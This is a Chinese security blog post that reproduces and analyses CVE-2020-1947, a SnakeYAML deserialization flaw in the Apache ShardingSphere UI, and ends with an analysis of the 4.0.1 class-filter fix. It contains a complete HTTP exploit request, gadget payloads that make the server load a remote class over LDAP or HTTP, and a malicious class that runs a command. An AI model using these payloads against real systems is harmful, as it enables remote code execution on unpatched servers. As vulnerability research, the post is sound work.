CVE-2020-1947 复现及分析

admin 2021年11月22日04:35:59评论247 views字数 6359阅读21分11秒阅读模式

0x01 影响

Apache ShardingSphere < =4.0.0

0x02 环境搭建

incubator-shardingsphere 的ui界面为前后分离,所以搭建环境所需要的工具如下

  • shardingsphere-ui-frontend 需要nodejs环境

  • shardingsphere-ui-backend maven构建环境,idea作为源码调试工具

  • 任意版本zookeeper

前端后端没有启动的先后顺序,任意顺序即可。

首先将shardingsphere-ui-frontend 拖入idea,idea会自动通过pom的依赖构建项目,稍等片刻,在org.apache.shardingsphere.ui.Bootstrap类运行main函数即可。

前端环境需要nodejs构建,步骤如下

  1. 进入sharding-ui-frontend/目录;

  2. 执行npm install

  3. 执行npm run dev

  4. 访问http://localhost:8080/

现在就可以访问后台了,用户名与密码皆为admin。为了触发漏洞,需要在后台配置zookeeper。如图

CVE-2020-1947 复现及分析


0x03 POC

登录后台后,发送如下poc

POST /api/schema HTTP/1.1
Host: localhost:8089
Accept: application/json, text/plain, */*
Accept-Encoding: gzip, deflate
Content-Type: application/json;charset=utf-8
Access-Token: 替换为自己的
Content-Length: 579

{"name":"CVE-2020-1947","ruleConfiguration":" encryptors:n   encryptor_aes:n     type: aesn     props:n       aes.key.value: 123456abcn   encryptor_md5:n     type: md5n tables:n   t_encrypt:n     columns:n       user_id:n         plainColumn: user_plainn         cipherColumn: user_ciphern         encryptor: encryptor_aesn       order_id:n         cipherColumn: order_ciphern         encryptor: encryptor_md5","dataSourceConfiguration":"!!com.sun.rowset.JdbcRowSetImpln dataSourceName: ldap://127.0.0.1:1389/CommandObjectn autoCommit: true"}

0x04 分析

可以根据poc,可以很明显的发现是shakeyaml引起的反序列化问题。首先找到处理/api/scheme的controller。在org.apache.shardingsphere.ui.web.controller.ShardingSchemaController处。addSchema会处理post请求


   /**
    * Add schema configuration.
    *
    * @param shardingSchema sharding schema DTO.
    * @return response result
    */
   @RequestMapping(value = "", method = RequestMethod.POST)
   public ResponseResult addSchema(final @RequestBody ShardingSchemaDTO shardingSchema) {
       shardingSchemaService.addSchemaConfiguration(shardingSchema.getName(), shardingSchema.getRuleConfiguration(), shardingSchema.getDataSourceConfiguration());
       return ResponseResultUtil.success();
  }


跟入shardingSchemaService.addSchemaConfiguration函数。


    @Override
   public void addSchemaConfiguration(final String schemaName, final String ruleConfiguration, final String dataSourceConfiguration) {
       checkSchemaName(schemaName, getAllSchemaNames());
       checkRuleConfiguration(ruleConfiguration);
     checkDataSourceConfiguration(dataSourceConfiguration);
//... 省略不相关代码
  }

addSchemaConfiguration中的checkDataSourceConfiguration函数会处理dataSourceConfiguration。继续跟入

    private void checkDataSourceConfiguration(final String configData) {
           Map<String, DataSourceConfiguration> dataSourceConfigs = ConfigurationYamlConverter.loadDataSourceConfigurations(configData);
          //... 省略不相关代码
  }

checkDataSourceConfiguration中会调用ConfigurationYamlConvert.LoadDataSourceConfigurations去解析datasource。

    /**
    * Load data source configurations.
    *
    * @param data data
    * @return data source configurations
    */
   @SuppressWarnings("unchecked")
   public static Map<String, DataSourceConfiguration> loadDataSourceConfigurations(final String data) {
       Map<String, YamlDataSourceConfiguration> result = (Map) YamlEngine.unmarshal(data);
//... 省略不相关代码
  }

loadDataSourceConfigurations中会调用YamlEngine.unmarshal去处理数据,下图为unmarshal函数的代码。可以很明显的看出,unmarshal函数存在反序列化漏洞。yaml的load可以加载任意类,造成反序列化漏洞

/**
* Unmarshal YAML.
*
* @param yamlContent YAML content
* @return map from YAML
*/
public static Map<?, ?> unmarshal(final String yamlContent) {
   return Strings.isNullOrEmpty(yamlContent) ? new LinkedHashMap<>() : (Map) new Yaml().load(yamlContent);
}

不难看出,搭建复现环境时,不一定需要他的web环境去触发漏洞,我们可以直接调用相关函数去模拟加载loadDataSourceConfigurations函数。代码如下

package org.apache.shardingsphere.ui;

import org.apache.shardingsphere.core.config.DataSourceConfiguration;
import org.apache.shardingsphere.ui.util.ConfigurationYamlConverter;

import java.util.Map;

public class test {
   public static void main(String... args){
       String configData = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://127.0.0.1:9999"]]]]";
       Map<String, DataSourceConfiguration> dataSourceConfigs = ConfigurationYamlConverter.loadDataSourceConfigurations(configData);
  }
}

0x05 poc 构造 基于ScriptEngineManager利用链

构造exp可以使用unmarshalsec 工具,请自行搜索

本次利用是基于javax.script.ScriptEngineManager的利用链。

简单地说,ScriptEngineManager类用于Java和JavaScript之间的调用。

PoC.java,需要实现ScriptEngineManager接口类,其中的静态代码块用于执行恶意代码,将其编译成PoC.class然后放置于第三方Web服务中:

import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.util.List;
import java.io.IOException;
import java.util.Map;


public class PoC implements ScriptEngineFactory {
   static {
       try {
           System.out.println("Hacked by UnicodeSec");
           Runtime.getRuntime().exec("calc");
      } catch (IOException e){
           e.printStackTrace();
      }
  }
   
   public String getEngineName() {
       return null;
  }
   
   public String getEngineVersion() {
       return null;
  }
   
   public List<String> getExtensions() {
       return null;
  }
   
   public List<String> getMimeTypes() {
       return null;
  }
   
   public List<String> getNames() {
       return null;
  }
   
   public String getLanguageName() {
       return null;
  }
   
   public String getLanguageVersion() {
       return null;
  }
   
   public Object getParameter(String key) {
       return null;
  }
   
   public String getMethodCallSyntax(String obj, String m, String... args) {
       return null;
  }

   public String getOutputStatement(String toDisplay) {
       return null;
  }
   
   public String getProgram(String... statements) {
       return null;
  }
   
   public ScriptEngine getScriptEngine() {
       return null;
  }
}

另外,在已放置PoC.class的第三方Web服务中,在当前目录新建如下文件META-INFservicesjavax.script.ScriptEngineFactory,其中内容为指定被执行的类名PoC

即可触发漏洞

CVE-2020-1947 复现及分析

0x06 修复分析

在4.0.1中新增了classfilter的构造方法,只允许反序列化YamlDataSourceConfiguration类。

LoadDataSouceConfigurations函数设置只允许反序列化相关类,ClassFilterConstructor 代码如下

public final class ClassFilterConstructor extends Constructor {
   
  private final Collection<Class<?>> acceptClasses;
   
  @Override
  protected Class<?> getClassForName(final String name) throws ClassNotFoundException {
      for (Class<? extends Object> each : acceptClasses) {
          if (name.equals(each.getName())) {
              return super.getClassForName(name);
          }
      }
      throw new IllegalArgumentException(String.format("Class is not accepted: %s", name));
  }
}

CVE-2020-1947 复现及分析

LoadDatasourceConfigurations函数中设置classfilter

Map<String, YamlDataSourceConfiguration> result = (Map) YamlEngine.unmarshal(data, Collections.<Class<?>>singletonList(YamlDataSourceConfiguration.class));


0x06 参考

  1. https://bitbucket.org/asomov/snakeyaml/wiki/Documentation#markdown-header-type-safe-collections

  2. https://www.javadoc.io/doc/org.yaml/snakeyaml/1.19/org/yaml/snakeyaml/constructor/Constructor.html

  3. https://shardingsphere.apache.org/document/current/cn/manual/sharding-ui/

  4. https://www.mi1k7ea.com/2019/11/29/Java-SnakeYaml%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/#0x02-SnakeYaml%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E

本文始发于微信公众号(宽字节安全):CVE-2020-1947 复现及分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年11月22日04:35:59
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2020-1947 复现及分析https://cn-sec.com/archives/498054.html

发表评论

匿名网友 填写信息